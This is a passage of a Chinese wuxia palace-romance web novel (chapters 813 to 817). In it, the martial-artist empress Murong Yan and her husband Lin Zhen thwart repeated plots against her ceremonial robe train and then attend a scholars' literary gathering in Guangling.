刺客眼中充满难以置信的惊骇,他万万没想到,这位身着沉重朝服、看似弱质芊芊的女帝,竟有如此武功!而且是在坐姿受限、冠服沉重的情况下,发出如此精准凌厉的隔空指力! 这一切发生得太快,从刺客暴起到被阻,不过呼吸之间。 而几乎在慕容嫣发出指风的同时,林臻也动了! 他并未去看那刺客的结果,因为他完全信任慕容嫣的判断与身手。他的目标是稳定局面,防止二次混乱伤及慕容嫣和那巨大的拖尾。 他长身而起,并未拔剑,而是沉声一喝,声如雷霆,瞬间震住了全场所有骚动:“肃静!原地勿动!” 这一喝蕴含内力,让惊慌失措的官员和宾客们下意识地僵在原地,避免了因慌乱踩踏而可能导致的拖尾被拉扯或慕容嫣受冲击。 同时,他身形一闪,已如一道清风般掠过席间,并非冲向刺客,而是稳稳立于慕容嫣凤座之侧,呈护卫之势,目光如电,扫视全场,防备可能存在的其他同伙。 侍卫们此刻终于赶到,迅速将那名手腕被废、面露绝望的刺客制服押下。 楼船上死寂一片,只剩下运河水流拍打船体的声音。 所有人都惊魂未定地看着凤座之上。 慕容嫣缓缓收回手,姿态依旧端庄,仿佛刚才那石破天惊的一指从未发出过。 只有离她最近的林臻,能看到她玉旒之下光洁的额角,渗出了一丝细微的、因瞬间调动真气且受冠服压制而沁出的汗珠。 她透过晃动的玉旒,看了一眼被制服的刺客,又扫过全场噤若寒蝉的众人,声音平静无波,却带着不容置疑的威严:“区区宵小,妄图损朕衣冠,乱朕心神,可笑至极。拖下去,严加审问。” “臣等遵旨!”侍卫们连忙应声,迅速将人带离,并加强戒备。 慕容嫣这才将目光转向身旁的林臻,微微颔首,一切尽在不言中。她随后举起酒杯,对着众臣,语气竟恢复了几分之前的慵懒:“小小插曲,不足扰兴。众卿,满饮此杯。” 她竟仿佛无事发生般,继续饮宴! 百官这才如梦初醒,慌忙举杯,心中却早已掀起惊涛骇浪! 他们不仅震惊于有刺客,更震惊于女帝陛下深藏不露的绝世武功! 在那等受限的情况下,竟能如此轻描淡写地化解危机! 这位年轻的女帝,远比他们想象的更加深不可测! 林臻心中松了口气,也随之举杯。 他知道,慕容嫣是在用最强的姿态,稳定人心,告诉所有人,任何风雨都无法动摇她的统治。 宴席继续,但气氛已然不同,充满了敬畏与后怕。 直到宴席终了,起驾回銮,无人再敢有丝毫懈怠。 回到行宫,屏退左右。 慕容嫣终于微微松懈下来,轻轻吁了口气,揉了揉方才发出指风的右手手腕。 那一下看似轻松,实则需在瞬间调动精纯内力,并精准控制力道穿透空间击中目标,且要避开自身沉重的衣袖和冠饰干扰,对她而言亦是极大的消耗。 林臻上前,自然地握住她的手腕,温热的内力缓缓渡入,为她舒缓经脉的细微震荡。 “下次不必如此勉强,”他语气带着心疼,“有我在此。” 慕容嫣任由他握着,感受那舒缓的内力流淌,微微一笑:“总不能事事都依赖夫君。况且,” 她眼波流转,带着一丝狡黠与傲然,“朕的武功,可是师承天下第一的剑圣,岂容小贼损我大周威仪?” 她顿了顿,看向那件被宫女小心收好的凤裙拖尾,轻声道:“这江山,这社稷,朕能亲手打下来,便能亲手守住。无论是朝堂之上的风浪,还是这等宵小之徒的暗算。” 林臻凝视着她,眼中是毫不掩饰的欣赏与爱意。他的妻子,既是雍容华贵的女帝,也是武功卓绝的强者。 她需要他的守护,但她本身,就是一座足以令人仰止的高山。 “嗯,”他轻轻将她拥入怀中,避开那可能还未完全卸下的沉重头饰,“我知道。但允许我站在你身边,与你一同守护,可好?” 慕容嫣靠在他坚实的胸膛上,闭上眼,轻轻“嗯”了一声。 窗外,运河月色如水。 楼船上的惊心动魄,已化为帝后之间又一次无需言说的默契与信任。 而那件绣着万里江山的凤裙拖尾,静静地陈列在一旁,仿佛在无声地诉说着:威仪之下,亦有雷霆手段;锦绣之中,藏着绝世锋芒。 第814章 异变陡生 广陵之行虽偶有波澜,但总体圆满。 回銮京师的队伍旌旗招展,仪仗煊赫,浩浩荡荡地行进在官道上。 慕容嫣端坐于凤辇之内,依旧身着那身明黄缂丝凤袍,九龙四凤冠垂下玉旒,遮住了她略显疲惫却依旧锐利的目光。 那两丈长的拖尾,在凤辇内巧妙地折叠安置,但仍能窥见其绣着的山河社稷图的一角,华美而沉重。 连日的仪典和最后的刺杀风波,虽未伤她分毫,却耗费了她不少心神。 她正闭目养神,指尖无意识地轻叩着扶手。 林臻骑马护卫在凤辇之侧,神色沉静,但目光始终如鹰隼般扫视着沿途的山林与田野。 楼船上的刺杀虽已审问,但那刺客嘴极硬,未吐出太多有用信息,只隐约指向一个对朝廷不满的隐秘江湖势力——“影阁”。 这让他心中始终绷着一根弦。 队伍行至一处名为“落鹰峡”的地界。 此处两山夹峙,官道从中穿过,地势颇为险要。虽已提前派斥候探查过,并无异状,但林臻依旧下令全军提高警惕,加速通过。 凤辇平稳地行驶在峡谷中段。 突然! 异变陡生! 并非来自两侧山崖的伏击,而是来自官道本身! “轰隆!!” 一声巨响,毫无征兆地,凤辇前方约十丈处的路面猛地向下塌陷,烟尘冲天而起! 一个巨大的陷坑瞬间出现,阻断了去路! 拉辇的骏马受惊,嘶鸣着人立而起!整个车队骤然停滞,一片混乱! “保护陛下!”侍卫们惊呼着收缩防线。 几乎在同一时刻! “咻咻咻——!” 两侧山壁上,骤然响起密集的机括弹射之声! 但射出的并非箭矢,而是无数枚鸡蛋大小、黝黑圆润的铁球! 它们以极其精准的抛物线,越过侍卫们的头顶,避开凤辇本身,如雨点般朝着凤辇后方——那由宫女们托捧着、铺展在副车之上的两丈拖尾——覆盖而去! 目标明确至极:仍是那件象征意义无比的帝服拖尾! “不好!”林臻瞳孔一缩,瞬间明白了对方的恶毒意图! 这些铁球绝非寻常,很可能是火油弹或是毒烟弹! 一旦在拖尾上炸开,不仅这珍贵的绣着江山图的拖尾将毁于一旦,爆炸和火焰更会瞬间波及托捧的宫女和周围的仪仗队伍,造成极大混乱和伤亡! 在如此狭窄的地形,后果不堪设想! 对方的目的,根本不是直接刺杀,而是要最大限度地折辱皇家威仪,制造恐慌,打击士气! 侍卫们反应极快,拔刀劈砍飞向凤辇的铁球,但数量太多,且目标集中后方拖尾,拦截已然不及! 电光石火之间! 凤辇之内,慕容嫣动了! 路面塌陷、马匹惊鸣的瞬间,她已猛然睁开双眼,玉旒后的眸光冰寒彻骨! 机括声响起的同时,她已判断出对方的真实目标! 她无法大幅移动,那沉重的凤冠和紧紧束缚的凤袍拖尾限制了她。 但她体内精纯无比的内力已瞬间奔腾起来! 只见她双手在凤辇扶手上一拍,身形借力微旋,面对后方拖尾的方向,宽大的龙凤纹袖袍猛地向前一拂! 这一拂,看似轻柔,却蕴含了慕容嫣臻至化境的精妙内力——并非刚猛无俦的掌风,而是一股柔和却范围极广、控制入微的磅礴气劲! 如同在空气中掀起了一道无形的、巨大的屏障涡流! “凝!” 她唇间轻吐一字。 那无数枚呼啸而至、即将砸落在拖尾上的黝黑铁球,仿佛瞬间撞入了一道粘稠无比的气墙之中,去势骤然减缓,竟如同陷入泥潭,在空中凝滞了那么一刹那! 就是这一刹那! 给了林臻以及所有侍卫反应的时间! “击落它们!远离拖尾!”林臻的吼声如同炸雷,同时他已从马背上飞身而起,长剑出鞘,剑光如匹练般扫向空中那些凝滞的铁球! 侍卫中的高手们也立刻领会,纷纷跃起,刀光剑影交织成网,罩向那些铁球! 砰砰砰!咔嚓! 大多数铁球在被内力凝滞的瞬间,便被凌厉的刀剑精准劈飞或击碎,偏向两侧无人的山壁或落入前方的陷坑之中! 少数几枚漏网之鱼在空中爆开,溅射出的果然是漆黑的火油,但已远离了拖尾和人群,只在空地燃烧起来! 一场足以造成巨大混乱和象征性灾难的袭击,竟在慕容嫣那神乎其技的内力控制与林臻及侍卫们的迅速反应下,被化解于无形! 托捧拖尾的宫女们吓得面无人色,但依旧死死记得自己的职责,紧紧护着那幅沉重的江山绣卷,未曾让其掉落尘埃。 山壁之上,隐约传来几声惊疑不定的低呼,似乎袭击者也完全没料到目标竟有如此手段! 慕容嫣缓缓收回手掌,袖袍垂下,仿佛什么都没做过。 但只有她自己知道,刚才那一瞬间大范围精准控制内力凝滞如此多的暗器,对她亦是极大的负荷,胸口气血微微翻涌。 凤冠下的脸色更白了一分。 林臻落回凤辇旁,目光急切地看向她:“嫣儿?” “无妨。”慕容嫣的声音透过玉旒传出,依旧平稳,“清理道路,搜索山林,抓活的。” 她下令干脆利落,丝毫不受惊扰。 “是!”惊魂未定的官员和侍卫们立刻行动起来。 陷坑并不深,显然是仓促挖就,只为阻路制造混乱。很快便被填平。 然而,搜索山林的侍卫回报:并未发现任何人影,只在发射机括的地方发现了一些散落的零件和脚印,对方显然极其熟悉地形,一击不成,便即刻远遁。 队伍重新整顿,气氛却变得无比凝重。 对方两次三番针对拖尾出手,挑衅意味十足,且计划一次比一次周密狠毒。 林臻策马靠近凤辇,压低声音,语气前所未有的严肃:“嫣儿,影阁不过是个幌子,或是被利用的刀。对方对仪制、对你的武功、甚至对我们回銮的路线和时间都如此了解…这绝非寻常江湖势力所能为。” 慕容嫣沉默片刻,玉旒轻轻晃动,冰冷的声音里透着一丝杀意:“朕知道。这朝堂之上,怕是有人已按捺不住了,想用这种方式,来试探朕的底线,动摇朕的威信。” 她微微侧首,目光似乎穿透了辇驾,落在那幅完好无损的江山拖尾之上。 “他们既然这么想碰碰这江山,”慕容嫣的声音低沉下去,带着一种令人胆寒的决绝,“那朕,便给他们一个机会。” “嫣儿,你的意思是?”林臻眉头紧蹙。 “传令,放缓行程。明日傍晚,驻跸于五十里外的紫泉行宫。”慕容嫣的指令清晰传出,“将那件凤袍,连同拖尾,悬于行宫最高之观星阁露台,彻夜灯火通明,朕要…晾晒御衣。” 林臻瞬间明白了她的意图:“你要以自身和这拖尾为饵?” “不错。”慕容嫣唇角勾起一抹冷冽的弧度,“他们不是想毁了吗?朕给他们摆出来。看看究竟是谁,有胆量来取!夫君,你可愿陪朕,演这一出请君入瓮?” 林臻看着她,即使隔着玉旒,也能感受到她那份敢于将自身置于险地的魄力与智慧。他深吸一口气,握紧了剑柄:“刀山火海,自当相随。” 凤辇再次启动,车轮碾过刚刚填平的陷坑。 慕容嫣端坐其中,明黄凤袍上的金龙彩凤依旧辉煌,那幅绣着万里江山的拖尾静静地折叠在一旁,仿佛一件寻常衣物。 但所有人都知道,它已不再仅仅是一件华服。 它是一个诱饵,一个挑战,更是一个漩涡的中心。 一场风暴,已然围绕着它,悄然酝酿。 第815章 朕是‘饵\’,亦是‘猎手\’ 紫泉行宫,坐落于半山腰,依山傍水,夜色中灯火通明,宛如一颗镶嵌在墨玉上的明珠。 而行宫最高处的观星阁,今夜更是亮如白昼。 高达三层的观星阁露台四周,挑出数十盏巨大的宫灯,将中央照得纤毫毕现。 那件明黄缂丝九龙四凤纹的凤袍,连同那幅长达两丈、绣着万里江山图的云锦拖尾,被特制的檀木衣架精心撑起,庄严地悬展在露台正中央。 夜风吹拂,拖尾上金色的丝线和璀璨的宝石微微晃动,山河图卷在灯光下流淌着炫目而近乎神圣的光泽,仿佛将缩小的神州大地悬于夜空,俯瞰众生。 这是一个极其张扬且充满挑衅的诱饵。 慕容嫣的命令已传下:任何人不得靠近观星阁百步之内,所有侍卫明暗岗哨皆布置在外围,造成一种内里空虚、仅以华服为诱的假象。 行宫寝殿内,慕容嫣已换上了一身夜行衣靠,虽是纯黑布料,但材质依旧考究,剪裁合体,衬得她身姿挺拔利落。 青丝紧绾,未戴任何饰物,只斜插一根乌木簪。她正对镜整理着袖口的束带,眼神冷静如寒潭,不见丝毫波澜。 林臻同样一身黑色劲装,正将一柄软剑扣于腰间。他走到慕容嫣身后,看着镜中她清冽的眉眼:“都安排妥当了。外围布防看似松懈,实则暗藏弩手与绊索。观星阁内,我另安排了四名顶尖暗卫藏于梁柱阴影之中。” 慕容嫣轻轻颔首,拿起桌上一张制作精巧、触手冰凉的银白色面具,覆于脸上,只露出一双深邃锐利的眼眸。 “他们若来,必是顶尖好手,寻常侍卫难以察觉。”她的声音透过面具,带着一丝冰冷的金属质感,“朕要亲眼看一看,到底是何方神圣,对这江山如此念念不忘。” “我与你同去。”林臻的语气不容置疑。 慕容嫣转头看他,面具下的眸光微闪:“夫君自然要同去。今夜,朕是‘饵’,亦是‘猎手’。”她顿了顿,“那件凤袍沉重,悬于高处,朕行动反不受其累。倒是他们,若想毁之,必会靠近,那便是机会。” 子时将至,万籁俱寂,唯有山风穿过松林,带来阵阵呜咽般的回响。 观星阁露台上,那件悬展的凤袍拖尾静静矗立,光华夺目,仿佛在无声地等待着什么。 寝殿窗户无声开启,两道鬼魅般的黑色身影悄然掠出,如夜鹰展翅,几个起落便悄无声息地融入了观星阁底层的阴影之中,旋即沿着阁外廊柱,悄无声息地攀援而上,最终隐匿于三楼露台下方一处视觉死角的飞檐之后。 从这个角度,他们能清晰地看到悬展的凤袍拖尾,以及可能从任何方向接近露台的不速之客。 时间一点点流逝。山风似乎更急了些,吹得宫灯摇曳,光影晃动,那凤袍上的江山图影也随之明明灭灭。 林臻屏息凝神,内力流转,感知着周遭的一切细微动静。慕容嫣则如同融入了黑夜的石雕,唯有那双透过面具的眼睛,锐利地扫视着每一个可能的方向。 忽然! 慕容嫣的目光猛地锁定西北方向的夜空! 几乎没有声音,只有极其细微的、几乎与风声融为一体的衣袂破空声! 数道黑影,如同夜行的蝙蝠,借着山势和树木的掩护,以一种惊人的速度和高超的轻功,悄无声息地避开了外围所有的明暗岗哨,直扑观星阁! 来了! 林臻的手按上了剑柄。 慕容嫣却轻轻抬手,示意他稍安勿躁。 她要等,等他们完全踏入这露台,等他们靠近那凤袍! 那几名黑衣人显然也是极其谨慎的老手。 他们并未立刻踏上露台,而是如同壁虎般贴在观星阁的外墙上,仔细观察了半晌,确认露台上除了那件悬展的凤袍空无一人,周围也无埋伏气息后,才相互打了个手势。 为首一人率先翻上露台,落地无声。 其余几人也相继跃上,呈扇形散开,动作轻捷如猫,目光警惕地扫视四周,最终都落在了那件近在咫尺、华美夺目的凤袍拖尾之上。 眼中闪过贪婪、兴奋与一丝狠厉。 其中一人从怀中掏出一个扁平的铜盒,另一人则抽出了一柄刃口发绿、显然淬有剧毒的匕首,径直走向凤袍拖尾,意图明显——要么用铜盒中的东西污染毁损,要么直接用毒刃划破这江山绣卷! 就是现在! 就在那持匕黑衣人伸出手,即将触碰到拖尾的前一刹那—— “嗤!” 一道细微却尖锐的破空声响起! 一枚乌木簪,裹挟着凝练无比的内力,从慕容嫣藏身的飞檐后电射而出,并非射向那人要害,而是精准无比地击打在他持匕的手腕之上! “呃!”黑衣人闷哼一声,手腕剧痛,匕首当啷脱手! 几乎在同一瞬间! 慕容嫣与林臻的身影如同两道黑色闪电,从藏身处暴射而出,直扑露台! 慕容嫣身法如烟,直取那名拿着铜盒的黑衣人首领!人在半空,掌力已吐,一股阴柔却凌厉无比的劲风压向对方面门! 林臻则剑光如瀑,一招“长河落日”,剑圈荡漾,瞬间将另外两名想要扑上来支援的黑衣人笼罩其中,逼得他们连连后退,无法合围! 那黑衣人首领显然也是高手,临危不乱,弃了铜盒,反手抽出一对奇门兵刃“子母鸳鸯钺”,交叉一架,堪堪挡住慕容嫣这突如其来的一掌! “嘭!” 气劲交击,发出一声闷响! 黑衣人首领只觉一股极其阴寒精纯的内力透钺而来,震得他气血翻腾,蹬蹬蹬连退三步,眼中露出骇然之色:“好强劲的力道,你是……” 他话未说完,慕容嫣第二掌已至,掌影飘忽,变幻莫测,直取其周身大穴!她虽未用兵器,但一双肉掌在内力灌注下,比之神兵利器亦不遑多让! 另一边,林臻剑法展开,如疾风骤雨,将那两名黑衣人逼得险象环生,若不是他们身法诡异,配合默契,早已伤于剑下。 剩余一名黑衣人见首领被缠住,同伴被压制,眼中凶光一闪,竟不顾一切地再次扑向那凤袍拖尾,从靴中拔出一把短刀,意图强行毁损! 慕容嫣虽在与首领激斗,但眼观六路,岂容他得逞! 她左掌逼退首领,右手指尖凌空一划—— 一道无形剑气(实则仍是高度凝练的指风)破空而出,嗤的一声,精准地划过那黑衣人的小腿! 黑衣人惨叫一声,小腿筋腱已被无形气剑割断,噗通跪倒在地,短刀也甩飞出去。 就在这片刻的交手间,藏于梁柱后的四名暗卫也骤然杀出,加入战团,与林臻一起,将其余黑衣人彻底分割包围。 露台之上,顿时陷入一片混战! 刀光剑影,掌风气劲纵横交错! 那件明黄的凤袍拖尾依旧悬展在原地,在激烈的打斗气流中微微晃动,上面的江山图卷在灯火与剑光映照下,显得愈发诡异而壮丽。 慕容嫣与那黑衣人首领已是硬拼了十余招。 对方武功路数极为诡异狠辣,内力亦是不弱,但在慕容嫣精妙绝伦的玄冰掌法和深厚内力面前,渐渐落入下风。 慕容嫣看准一个破绽,一掌震开他的鸳鸯钺,另一掌直拍其胸口! 那首领避无可避,猛地一咬舌尖,喷出一口血雾,身形竟诡异一扭,硬生生避开要害,同时嘶声喊道:“撤!” 他话音未落,剩余几名黑衣人也纷纷使出类似的自残手段,爆发出一股潜力,强行摆脱对手,不顾一切地朝着露台边缘飞退,意图跳入山下黑暗之中遁走! “想走?”慕容嫣冷哼一声,身形如鬼魅般追上那首领,五指如钩,直抓向其背心要穴! 那首领感受到身后凌厉的指风,亡魂大冒,拼命向前一窜! “刺啦——!” 慕容嫣的手指未能完全抓住其穴道,却一把撕下了他背后的一大片衣衫,连同其绑在背后的一件硬物! 那首领惨叫一声,却借着前冲之力,毫不犹豫地跃下了观星阁,消失在夜色中。 其余黑衣人也纷纷跳下,暗卫们欲追,却被林臻抬手制止——山下情况不明,穷寇莫追。 战斗骤然开始,又骤然结束。 露台上只剩下慕容嫣、林臻、四名暗卫,以及一地狼藉和那件依旧完好无损的凤袍拖尾。 慕容嫣摊开手掌,看着从对方背后撕下的东西——那并非什么机关暗器,而是一块半个巴掌大小的玄铁令牌,令牌上刻着一个狰狞的鬼首图案,鬼首下方,是一个苍劲的“影”字。 “影阁…”林臻走过来,看着那令牌,眉头紧锁,“竟然真是他们?” 慕容嫣指尖摩挲着那冰冷的令牌,面具下的目光幽深难测。 “不,”她缓缓摇头,将令牌握紧,“这令牌太新了,像是刚刻好不久。” 她抬起头,望向黑衣人消失的黑暗山林,声音冷冽如冰: “有人,想把这江山彻底搅浑。” 第816章 他们欲毁朕衣冠 紫泉行宫的夜战痕迹在天明前已被彻底清理,仿佛什么都未发生。但那块崭新的“影阁”令牌,却像一根刺,扎在慕容嫣与林臻心中。 “他们欲毁朕衣冠,乱朕民心。一次不成,必有后手。”慕容嫣立于行宫窗前,望着渐亮的天空,语气沉静,“与其被动等待,不若主动出击。这广陵城,便是最好的舞台。” 林臻瞬间明了她的意图:“你要公开现身?” “不错。”慕容嫣转身,目光灼灼,“不仅要现身,还要穿上那身凤袍,让所有人都看清楚,朕安然无恙,朕的威仪,不容侵犯!更要让那藏在暗处的鬼魅看看,他们的伎俩,何等可笑!” 当日,广陵城刺史府接到谕令:陛下将于午后驾临运河码头,亲自为即将北上的漕运船队赐福。 消息一出,全城轰动!陛下竟要亲临码头?这可是前所未有的恩典! 午后,阳光正好。运河码头早已被肃清戒严,但允许百姓在远处指定的区域观望。人山人海,万头攒动,所有人都想一睹天颜。 吉时到,鼓乐喧天。 慕容嫣的仪仗再次出现。她端坐于凤辇之上,?再次穿上了那身明黄缂丝九龙四凤朝服,戴上了沉重的九龙四凤冠,十二旒白玉珠轻轻摇曳。 那长达两丈、绣着万里江山图的云锦拖尾,由十六名宫女分为两列,以最恭谨的姿态双手托捧着,在阳光下闪烁着无比夺目的光芒,缓缓滑过铺着红毡的通道,向着码头岸边的高台行去。 昨日观星阁的惊险似乎未曾在她身上留下任何痕迹,她面容沉静,威仪天成,目光透过玉旒,平和地扫过远处激动跪拜的百姓和江面上密密麻麻的漕船。 林臻依旧骑马护卫在侧,神色肃穆,目光如电,仔细扫视着四周的一切。他知道,今日这场“戏”,看似风光,实则凶险。那幕后之人,很可能就混在人群之中。 登上临时搭建的高台,慕容嫣接受百官与漕运官兵的朝拜。内侍官宣读嘉奖漕运官兵、祈求漕运顺利的祷文。 仪式按部就班地进行着。风吹拂着那巨大的拖尾,江山图卷微微波动。 就在慕容嫣准备将御赐的美酒洒入运河,完成最后一道赐福程序时—— 异变再生! 并非刀剑刺杀,也非火器暗器。 只听“咔嚓!”一声脆响,紧接着是木头断裂的“吱呀”声! 慕容嫣所站立的高台边缘,一块本应牢固的木板,竟毫无征兆地突然断裂塌陷!而那个位置,恰好站着一名托捧拖尾尾端的宫女! “啊!”那宫女惊叫一声,脚下骤然踏空,身体猛地向下坠去! 而她手中紧紧托捧着的,正是那沉重无比的拖尾尾端! 这一坠之力巨大无比!不仅她自身要坠下高台,那巨大的拉扯力更是通过拖尾,瞬间传递向前,猛地拽向站在高台中央的慕容嫣! 这一切发生得太快,太出乎意料!谁能想到,刺杀的方式,竟是破坏高台的结构! “陛下!” “小心!” 台下远处的人群发出惊呼,官员们脸色煞白! 若慕容嫣猝不及防,被这巨大的向后拉扯力拽倒,即便不摔下高台,也必当众失仪,狼狈不堪!女帝威严,将荡然无存!而那坠落的宫女,非死即残! 电光石火之间! 慕容嫣动了! 她仿佛早有预料,或者说,她绝世高手的本能和超乎常人的下盘功夫,在此刻展现得淋漓尽致! 在那木板断裂、宫女惊叫坠落的瞬间,她重心早已下沉,双足如铁铸般牢牢钉在高台之上!那突如其来的巨大拉扯力传来,她身形只是微微一晃,便已稳住! 同时,她看也不看身后,听风辨位,右手猛地向后一探,精准无比地一把抓住了那名坠落宫女的手臂! 这一抓,稳、准、狠!蕴含着极大的力量! 下坠之势骤然被止住! 那宫女吓得花容失色,整个人悬在半空,全靠慕容嫣一只手抓住方才没有跌落。 而慕容嫣,不仅要承受宫女下坠的力道,更要抗衡通过拖尾传来的那股拉扯力!她独自一人,仿佛成为了连接着悬空宫女与沉重拖尾的支柱! 只见她站立如松,右手稳稳抓住宫女,身形挺拔,甚至连凤冠上的珠旒都只是急促地晃动了几下,便逐渐归于平静。那明黄的凤袍因用力而微微绷紧,勾勒出她瞬间爆发出的惊人力量与稳定性。 全场一片死寂!所有人都被这突如其来的一幕和女帝陛下展现出的惊人反应与力量惊呆了! 下一刻,林臻已如大鹏般掠至高台边缘,伸手将那名惊魂未定的宫女拉了上来。其余托尾宫女也立刻上前,重新将拖尾整理平稳。 慕容嫣这才缓缓松开手,神色平静如初,仿佛刚才只是做了一件微不足道的小事。她甚至抬手轻轻正了正略有歪斜的凤冠,目光扫向台下鸦雀无声的百姓和官员。 “继续。”她淡淡开口,声音不大,却清晰地传遍码头。 内侍官这才如梦初醒,颤抖着声音高喊:“赐福——礼成——!” 慕容嫣亲手将御酒洒入运河。 短暂的寂静后,码头内外爆发出雷鸣般的欢呼与跪拜声! “陛下万岁!” “陛下神威!” “天佑大乾!” 百姓们激动万分,他们亲眼目睹了女帝陛下临危不乱、出手如电、力挽狂澜的神奇一幕!这不仅无损她的威严,反而更添了几分近乎神异的色彩! 那件华美而沉重的凤袍拖尾,此刻在人们眼中,不再是负累,而是陛下承载江山、稳如泰山的象征! 林臻站在慕容嫣身侧,低声道:“好险的手段,竟在木工活上做文章。” 慕容嫣目光扫过高台断裂处,冷冽一笑:“跳梁小丑,只会这些上不得台面的把戏。经此一事,广陵民心,尽归于朕。” 她转身,仪态万方地走下高台。那两丈长的拖尾再次被平稳托捧,在阳光下流淌着金色的光辉,仿佛刚才那惊心动魄的拉扯从未发生。 但所有人都知道,他们见证了一位何等不凡的帝王。 回銮的路上,慕容嫣透过摇曳的玉旒,对林臻低语:“夫君,你说那幕后之人,此刻是躲在人群中气得发抖,还是正在暗自庆幸,我们又将这笔账,算到了‘影阁’头上?” 林臻目光深邃:“或许兼而有之。但经此一闹,他们短时间内,应不敢再在广陵动手了。” “是啊,”慕容嫣轻轻靠回凤辇,“广陵事了。该回京,去会一会那些藏在朱紫宫墙下的‘鬼’了。” 凤辇缓缓前行,那件绣着万里江山的拖尾,在身后迤逦铺展,仿佛一条无声流淌的河流,承载着帝王的智慧、勇气与即将到来的腥风血雨,驶向遥远的皇城。 第817章 江南才子 广陵城不仅以漕运繁华著称,更是天下文脉所钟之地。 前朝于此设江南贡院,历来才子辈出,文风鼎盛。 慕容嫣深知文治之重,尤其重视科举取士,欲打破门阀垄断,广纳寒门英才。 恰逢广陵三年一度的“文华会”,乃江南士林一大盛事,才子云集,论文赋诗,盛况空前。慕容嫣决定亲临会场,一为彰显朝廷重文之心,二也可亲自考察江南学子风采。 文华会设于城南瞻园,亭台楼阁,曲水流觞,极尽雅致。 这一日,慕容嫣的选择令林臻都有些意外。她并未选择便于行动的常服,而是再次穿上了那身明黄缂丝九龙四凤朝服,戴上了九龙四凤冠。 “陛下,今日文会,并非正式朝典,何以……”林臻略有不解。这身衣物沉重非凡,于轻松雅集颇为不便。 慕容嫣正由宫女整理着那长达两丈、绣着万里江山图的云锦拖尾,闻言微微一笑,透过摇曳的玉旒看向林臻:“夫君可知,为何朕平定天下后,首要之事便是重开科举?” 林臻沉吟片刻:“为打破世家垄断,广纳贤才,稳固国本。” “不错。”慕容嫣颔首,“但更深一层,朕要让天下人知道,无论出身寒微还是高贵,只要有真才实学,皆可立于这朝堂之上,为朕效力,为这江山社稷尽责。今日文华会,江南才俊汇聚,朕若轻装简从,虽显亲民,却不足以彰显朝廷对此事的极度重视,不足以体现‘学成文武艺,货与帝王家’的至高荣光。” 她顿了顿,语气沉凝:“朕今日,便要以这身帝王衣冠,这绣着万里江山的拖尾,亲临文会。让那些寒窗苦读的学子亲眼看见,他们追求的功名顶点,朕所能给予的认可与荣耀,究竟是何等模样。这本身,便是最有力的激励与号召。” 林臻闻言,眼中闪过钦佩之色:“嫣儿深谋远虑,是朕思虑不周了。” 于是,帝后仪仗再次出行,目的地瞻园。 当慕容嫣身着极致隆重的帝王冠服,在那两丈长的华丽拖尾的簇拥下,出现在瞻园门口时,所有等候的官员、士子、名流皆被这前所未有的隆重场面所震撼,纷纷跪伏于地,山呼万岁。 许多寒门学子更是激动得热泪盈眶,他们何曾想过,有生之年能如此近距离地觐见天颜,而且是身着最隆重朝服的天子! 慕容嫣并未直接进入主会场,而是示意众人平身,缓步走向园中最大的湖泊——碧波池畔的露天会场。 那巨大的拖尾需要八名宫女精心托捧,在青石板路和草坪上缓缓移动,江山图卷在阳光下熠熠生辉,与周围的书香墨韵形成一种奇特的、令人敬畏的交融。 会场早已布置妥当,案几陈列,笔墨纸砚俱全。慕容嫣于主位就坐,那拖尾便在她身后如孔雀开屏般铺展开来,成为最威严震撼的背景。林臻坐于其侧稍下的位置。 文会开始,首先是学子代表献上颂扬盛世、表达抱负的诗词文章。慕容嫣听得极为认真,不时微微颔首,遇到精妙之处,甚至会透过玉旒,与身旁的林臻低语几句。 林臻于文辞一道亦是大家,每每能给出精当的点评,帝后二人低声交谈,气氛庄重而不失融洽。 随后是自由论辩环节,议题涉及经史子集、时政策论。 江南才子果然名不虚传,引经据典,唇枪舌剑,观点碰撞,精彩纷呈。 慕容嫣大多时间静静聆听,目光扫过一个个慷慨激昂或沉思缜密的年轻面孔,仿佛在审视着她未来王朝的基石。 期间,发生了一件趣事。 一位来自徽州的寒门学子,姓寒名澈,字明之,于论辩中观点新颖,言辞犀利,驳得几位世族子弟面红耳赤。 但其人性情耿直,说到激动处,竟情不自禁地站起身來,向前走了几步,想要更清晰地阐述自己的观点。 他这一动,恰好靠近了慕容嫣御座之前那铺展的巨大拖尾。 一旁侍立的太监脸色微变,正要出声呵斥提醒——御前失仪,且近乎御物,可是大不敬之罪! 慕容嫣却微微抬手,制止了太监。 她透过玉旒,看着那位因沉浸于思想世界而忘形的年轻学子,眼中竟闪过一丝不易察觉的欣赏。 那寒澈完全未察觉自己已近乎踩到那象征江山的绣卷边缘,依旧滔滔不绝,阐发着对吏治改革的见解,许多观点竟与慕容嫣心中的一些想法不谋而合。 慕容嫣耐心地听他讲完,并未因他的“失仪”而有丝毫不悦。 待他言毕,方才缓缓开口,声音透过珠旒,平和却自带威仪:“寒澈,你的见解,颇有新意。可知为政之道,除锐意革新外,亦需知进退,懂分寸?便如你方才,激昂向前固然可嘉,却亦需留意脚下,方不至踏错方位,事与愿违。” 她的话语一语双关,既点评了他的政见,也提醒了他的失仪。 寒澈此时才猛地惊醒,发现自己几乎踩到女帝陛下的拖尾,顿时吓得脸色煞白,冷汗涔涔,慌忙跪地请罪:“学生……学生狂妄失仪,冲撞陛下天威,罪该万死!” 全场一片寂静,所有人都为这寒门学子捏了一把汗。 慕容嫣却淡淡道:“念你心系社稷,言论亦有可采之处,此次便恕你无罪。起来吧。望你日后,既能持守心中锐气,亦能磨砺言行矩度,方成大器。” 寒澈如蒙大赦,叩首再拜,心中对女帝的敬畏与感激达到了顶点。周围学子们也松了口气,同时更感佩于女帝的宽宏与惜才之心。 林臻在一旁看着,心中了然。慕容嫣这一手,既维护了皇家威严,又不动声色地收服了一位可能成为未来栋梁的才子之心,更向所有学子展示了天子的气度与智慧。 文会持续了整整一个下午。 慕容嫣始终保持着端庄的坐姿,那沉重的凤冠和朝服似乎并未给她带来太多困扰。 只有离她最近的林臻,能偶尔看到她隐藏在宽大袖袍下,轻轻活动手指以缓解疲惫的小动作。 最终,慕容嫣亲自点评了几篇最佳诗文,并宣布将其中数位表现优异的寒门学子列入重点考察名录,允他们可直接赴京参加下一轮铨选。此举更是引得群情激动。 日落时分,文会才告结束。 慕容嫣起身离去时,那两丈长的拖尾再次被宫女们平稳托起,缓缓滑过瞻园的草木亭台。 无数学子跪伏在道路两旁,目光灼热地追随着那明黄的背影和那幅华丽的江山图卷,心中充满了对功名的渴望与对明君的敬仰。 回銮的路上,慕容嫣微微靠在凤辇中,显露出些许疲惫。 林臻策马靠近辇窗,低声道:“今日收获颇丰?” 